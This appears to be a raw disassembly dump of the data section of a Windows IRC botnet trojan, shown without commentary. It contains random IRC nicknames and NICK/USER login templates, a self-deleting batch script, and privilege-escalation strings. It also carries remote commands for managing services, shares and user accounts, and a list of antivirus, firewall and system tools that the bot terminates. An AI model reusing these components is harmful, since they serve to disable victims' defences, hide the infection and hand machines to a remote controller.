aKotan		db 'kotan',0            ; DATA XREF: nsp0:00438C14o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: nsp0:00438C10o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: nsp0:00438C0Co
		align 4
aKapk		db 'kapk',0             ; DATA XREF: nsp0:00438C08o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: nsp0:00438C04o
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: nsp0:00438C00o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: nsp0:00438BFCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: nsp0:00438BF8o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: nsp0:00438BF4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: nsp0:00438BF0o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: nsp0:00438BECo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: nsp0:00438BE8o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: nsp0:00438BE4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: nsp0:00438BE0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: nsp0:00438BDCo
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: nsp0:00438BD8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: nsp0:00438BD4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: nsp0:00438BD0o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: nsp0:00438BCCo
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: nsp0:00438BC8o
aHoly		db 'holy',0             ; DATA XREF: nsp0:00438BC4o
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: nsp0:00438BC0o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: nsp0:00438BBCo
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: nsp0:00438BB8o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: nsp0:00438BB4o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: nsp0:00438BB0o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: nsp0:00438BACo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: nsp0:00438BA8o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: nsp0:00438BA4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: nsp0:00438BA0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: nsp0:00438B9Co
aArda		db 'arda',0             ; DATA XREF: nsp0:00438B98o
		align 4
aDevran		db 'devran',0           ; DATA XREF: nsp0:00438B94o
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: nsp0:00438B90o
aDenizlim	db 'DenizliM',0         ; DATA XREF: nsp0:00438B8Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: nsp0:00438B88o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: nsp0:00438B84o
		align 4
aBogac		db 'bogac',0            ; DATA XREF: nsp0:00438B80o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: nsp0:00438B7Co
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: nsp0:00438B78o
		align 4
off_439248	dd offset byte_457441	; DATA XREF: nsp0:00438B74o
dword_43924C	dd 414C5941h, 2Dh	; DATA XREF: nsp0:00438B70o
aAlbina		db 'albina',0           ; DATA XREF: nsp0:00438B6Co
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: nsp0:00438B68o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: nsp0:00438B64o
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: nsp0:00438B60o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: nsp0:00438B5Co
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: nsp0:00438B58o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: nsp0:00438B54o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: nsp0:00438B50o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: nsp0:00438B4Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: nsp0:00438B48o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: nsp0:00438B44o
aAslii		db 'aslii',0            ; DATA XREF: nsp0:00438B40o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: nsp0:00438B3Co
aHaticem	db 'haticem',0          ; DATA XREF: nsp0:00438B38o
aArzu		db 'ARZU',0             ; DATA XREF: nsp0:00438B34o
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: nsp0:00438B30o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: nsp0:00438B2Co
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: nsp0:00438B28o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: nsp0:00438B24o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: nsp0:00438B20o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: nsp0:00438B1Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: nsp0:00438B18o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: nsp0:00438B14o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: nsp0:00438B10o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: nsp0:00438B0Co
aTolga34	db 'Tolga34',0          ; DATA XREF: nsp0:00438B08o
aMisssunday	db 'misssunday',0       ; DATA XREF: nsp0:00438B04o
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: nsp0:00438B00o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: nsp0:00438AFCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: nsp0:00438AF8o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: nsp0:00438AF4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: nsp0:00438AF0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: nsp0:00438AECo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: nsp0:00438AE8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: nsp0:00438AE4o
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: nsp0:00438AE0o
aReshma		db 'reshma',0           ; DATA XREF: nsp0:00438ADCo
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: nsp0:00438AD8o
		align 4
aGirl_0		db 'GirL',0             ; DATA XREF: nsp0:00438AD4o
		align 10h
aImra		db 'imra',0             ; DATA XREF: nsp0:00438AD0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: nsp0:00438ACCo
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: nsp0:00438AC8o
		align 10h
aManee		db 'manee',0            ; DATA XREF: nsp0:00438AC0o
		align 4
aTroller	db 'troller',0          ; DATA XREF: nsp0:00438ABCo
aLuisa		db 'Luisa',0            ; DATA XREF: nsp0:00438AB8o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: nsp0:00438AB4o
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: nsp0:00438AB0o
		align 4
aJanno		db 'janno',0            ; DATA XREF: nsp0:00438AACo
		align 4
aBunty		db 'bunty',0            ; DATA XREF: nsp0:00438AA8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: nsp0:00438AA4o
		align 4
aCme		db 'cme',0              ; DATA XREF: nsp0:00438AA0o
aTalika		db 'talika',0           ; DATA XREF: nsp0:00438A98o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: nsp0:00438A94o
		align 4
aKen		db 'ken',0              ; DATA XREF: nsp0:00438A90o
aFlexster	db 'flexster',0         ; DATA XREF: nsp0:00438A8Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: nsp0:00438A88o
		align 10h
aMale		db 'male',0             ; DATA XREF: nsp0:00438A84o
		align 4
aSwin		db 'swin',0             ; DATA XREF: nsp0:00438A80o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: nsp0:00438A7Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: nsp0:00438A78o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: nsp0:00438A74o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: nsp0:00438A70o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: nsp0:00438A6Co
aFarooq		db 'farooq',0           ; DATA XREF: nsp0:00438A68o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: nsp0:00438A64o
		align 10h
aM_1:					; DATA XREF: nsp0:00438A60o
					; nsp0:00438DACo
		unicode	0, <M>,0
aN_0:					; DATA XREF: nsp0:00438A5Co
		unicode	0, <N>,0
aB_0:					; DATA XREF: nsp0:00438A58o
		unicode	0, <B>,0
aV_0:					; DATA XREF: nsp0:00438A54o
		unicode	0, <V>,0
aC_0:					; DATA XREF: nsp0:00438A50o
		unicode	0, <C>,0
asc_4394B4:				; DATA XREF: nsp0:00438A4Co
					; nsp0:00438DE0o
		unicode	0, <X>,0
aZ_0:					; DATA XREF: nsp0:00438A48o
		unicode	0, <Z>,0
asc_4394BC:				; DATA XREF: nsp0:00438A44o
		unicode	0, <L>,0
aK_0:					; DATA XREF: nsp0:00438A40o
		unicode	0, <K>,0
aJ_0:					; DATA XREF: nsp0:00438A3Co
		unicode	0, <J>,0
asc_4394C8:				; DATA XREF: nsp0:00438A38o
		unicode	0, <H>,0
aG_0:					; DATA XREF: nsp0:00438A34o
		unicode	0, <G>,0
aF_1:					; DATA XREF: nsp0:00438A30o
					; nsp0:00438DA8o
		unicode	0, <F>,0
aD_2:					; DATA XREF: nsp0:00438A2Co
		unicode	0, <D>,0
aS_3:					; DATA XREF: nsp0:00438A28o
		unicode	0, <S>,0
aP_0:					; DATA XREF: nsp0:00438A20o
		unicode	0, <P>,0
aO_0:					; DATA XREF: nsp0:00438A1Co
		unicode	0, <O>,0
aU_0:					; DATA XREF: nsp0:00438A14o
		unicode	0, <U>,0
aY_0:					; DATA XREF: nsp0:00438A10o
		unicode	0, <Y>,0
aT_0:					; DATA XREF: nsp0:00438A0Co
		unicode	0, <T>,0
aR_0:					; DATA XREF: nsp0:00438A08o
		unicode	0, <R>,0
aE_0:					; DATA XREF: nsp0:00438A04o
		unicode	0, <E>,0
aW_0:					; DATA XREF: nsp0:00438A00o
		unicode	0, <W>,0
aQ_0:					; DATA XREF: nsp0:004389FCo
		unicode	0, <Q>,0
aNickS_0	db 'NICK %s',0Ah,0      ; DATA XREF: sub_41489B+C3o
		align 4
a432		db '432',0              ; DATA XREF: sub_41489B+88o
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_41489B+67o
		align 4
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_414992+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_414BB2+BCo
					; sub_414BB2+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_415221+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_415368+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41540C+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41542E+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41542E+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41542E+48o
		align 4
unk_439688	db  2Dh	; -		; DATA XREF: sub_4155B6+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4396B8	db  2Dh	; -		; DATA XREF: sub_4155B6+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 10h
dword_4396E0	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4155B6+5Co
		dd 65726165h, 64h, 0
off_439700	dd offset aAdd		; DATA XREF: sub_415796+6Dr
					; sub_415B7A+50r ...
					; "Add"
off_439704	dd offset aAdded	; DATA XREF: sub_415796+2Dr
					; sub_415B7A+82r ...
					; "Added"
dword_439708	dd 0			; DATA XREF: sub_415796+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 439774h, 43976Ch,	2, 439760h, 439754h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: nsp0:00439734o
aStop_0		db 'Stop',0             ; DATA XREF: nsp0:00439730o
		align 4
aStarted	db 'Started',0          ; DATA XREF: nsp0:00439728o
aStart_0	db 'Start',0            ; DATA XREF: nsp0:00439724o
		align 4
aListed		db 'Listed',0           ; DATA XREF: nsp0:0043971Co
		align 4
aList_1		db 'List',0             ; DATA XREF: nsp0:00439718o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: nsp0:00439710o
aDelete_0	db 'Delete',0           ; DATA XREF: nsp0:0043970Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: nsp0:off_439704o
		align 4
aAdd		db 'Add',0              ; DATA XREF: nsp0:off_439700o
unk_4397C8	db  2Dh	; -		; DATA XREF: sub_415796+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_4397EC	db  2Dh	; -		; DATA XREF: sub_415796+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_439818	db  2Dh	; -		; DATA XREF: sub_415796+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4158BF+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4158BF:loc_4159D7o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4158BF:loc_4159D0o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4158BF:loc_4159C9o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4158BF:loc_4159C2o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4158BF:loc_4159BBo
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4158BF:loc_4159B4o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4158BF:loc_4159ADo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4158BF:loc_4159A6o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4158BF:loc_41599Fo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4158BF:loc_415998o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4158BF:loc_41596Do
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4158BF:loc_415966o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4158BF:loc_41595Fo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4158BF:loc_415958o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4158BF+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4158BF:loc_41592Do
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4158BF:loc_415923o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4158BF:loc_415919o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4158BF:loc_41590Fo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4158BF:loc_415905o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4158BF+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_415A3D+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_415A3D:loc_415B09o
aStarting	db '   Starting',0      ; DATA XREF: sub_415A3D:loc_415B02o
aStoping	db '    Stoping',0      ; DATA XREF: sub_415A3D:loc_415AFBo
aRunning_0	db '    Running',0      ; DATA XREF: sub_415A3D:loc_415AF4o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_415A3D:loc_415AEDo
aPausing	db '    Pausing',0      ; DATA XREF: sub_415A3D:loc_415AE6o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_415A3D:loc_415ADFo
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_415A3D+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_415A3D+25o
		align 4
unk_439D6C	db  2Dh	; -		; DATA XREF: sub_415B7A+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439D90	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_415B7A+89o
		dd 73252720h, 27h
unk_439DAC	db  2Dh	; -		; DATA XREF: sub_415B7A+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_415D08+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_415D08+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_415D08+B5o
unk_439DF8	db  2Dh	; -		; DATA XREF: sub_415D08+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_415D08+26o
		align 4
unk_439E58	db  2Dh	; -		; DATA XREF: sub_415E29+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439E80	db  2Dh	; -		; DATA XREF: sub_415E29+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439EB0	db  2Dh	; -		; DATA XREF: sub_415E29+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439ED0	db  2Dh	; -		; DATA XREF: sub_415F6F+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_415F6F+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_415F6F+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_415F6F+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_415F6F+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_415F6F+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_415F6F+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_415F6F+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_415F6F+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_415F6F+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_415F6F+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_415F6F+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_415F6F+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_415F6F+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_415F6F+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_415F6F+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_415F6F:loc_416088o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_415F6F:loc_416081o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_415F6F+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_415F6F+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_415F6F+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_415F6F+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41633D+14Fo
		align 4
unk_43A07C	db  2Dh	; -		; DATA XREF: sub_41633D+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_41633D+BEo
		align 10h
unk_43A0B0	db  2Dh	; -		; DATA XREF: sub_41633D+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41633D+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4164BD:loc_4165DAo
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4164BD:loc_4165D3o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4164BD:loc_4165CCo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4164BD:loc_4165C5o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4164BD:loc_4165BEo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4164BD:loc_4165A1o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4164BD:loc_41659Ao
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4164BD:loc_416593o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4164BD+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4164BD:loc_416568o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4164BD:loc_416561o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4164BD:loc_41655Ao
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4164BD:loc_416550o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4164BD+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4164BD:loc_41652Ao
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4164BD:loc_416520o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4164BD:loc_416516o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4164BD:loc_41650Co
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4164BD:loc_416502o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4164BD+3Bo
		align 4
dword_43A3B8	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_4165F1+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A3E4	db  2Dh	; -		; DATA XREF: sub_4165F1+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_43A40C	dd 7530h		; DATA XREF: sub_416A5E+12r
off_43A410	dd offset aRegedit_exe	; DATA XREF: sub_41671A+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A518
		dd offset dword_43A50C
		dd offset dword_43A500
		dd offset dword_43A4F4
		dd offset dword_43A4E8
		dd offset dword_43A4DC
		dd offset dword_43A4CC
		dd offset dword_43A4C0
		dd offset dword_43A4B4
		dd offset dword_43A4A8
		dd offset dword_43A49C
		dd offset dword_43A48C
		dd offset dword_43A480
		dd offset dword_43A470
dword_43A470	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_41671A+ECo
					; nsp0:0043A46Co
dword_43A480	dd 6E757269h, 78652E34h, 65h ; DATA XREF: nsp0:0043A468o
dword_43A48C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: nsp0:0043A464o
dword_43A49C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	nsp0:0043A460o
dword_43A4A8	dd 74617373h, 78652E65h, 65h ; DATA XREF: nsp0:0043A45Co
dword_43A4B4	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: nsp0:0043A458o
dword_43A4C0	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: nsp0:0043A454o
dword_43A4CC	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: nsp0:0043A450o
dword_43A4DC	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: nsp0:0043A44Co
dword_43A4E8	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: nsp0:0043A448o
dword_43A4F4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: nsp0:0043A444o
dword_43A500	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: nsp0:0043A440o
dword_43A50C	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: nsp0:0043A43Co
dword_43A518	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: nsp0:0043A438o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: nsp0:0043A434o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: nsp0:0043A430o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: nsp0:0043A42Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: nsp0:0043A428o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: nsp0:0043A424o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: nsp0:0043A420o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: nsp0:0043A41Co
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: nsp0:0043A418o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: nsp0:0043A414o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: nsp0:off_43A410o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41671A+191o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41671A+5Ao
					; sub_41671A+1F3o
		align 4
unk_43A5DC	db  2Dh	; -		; DATA XREF: sub_416949:loc_4169D0o
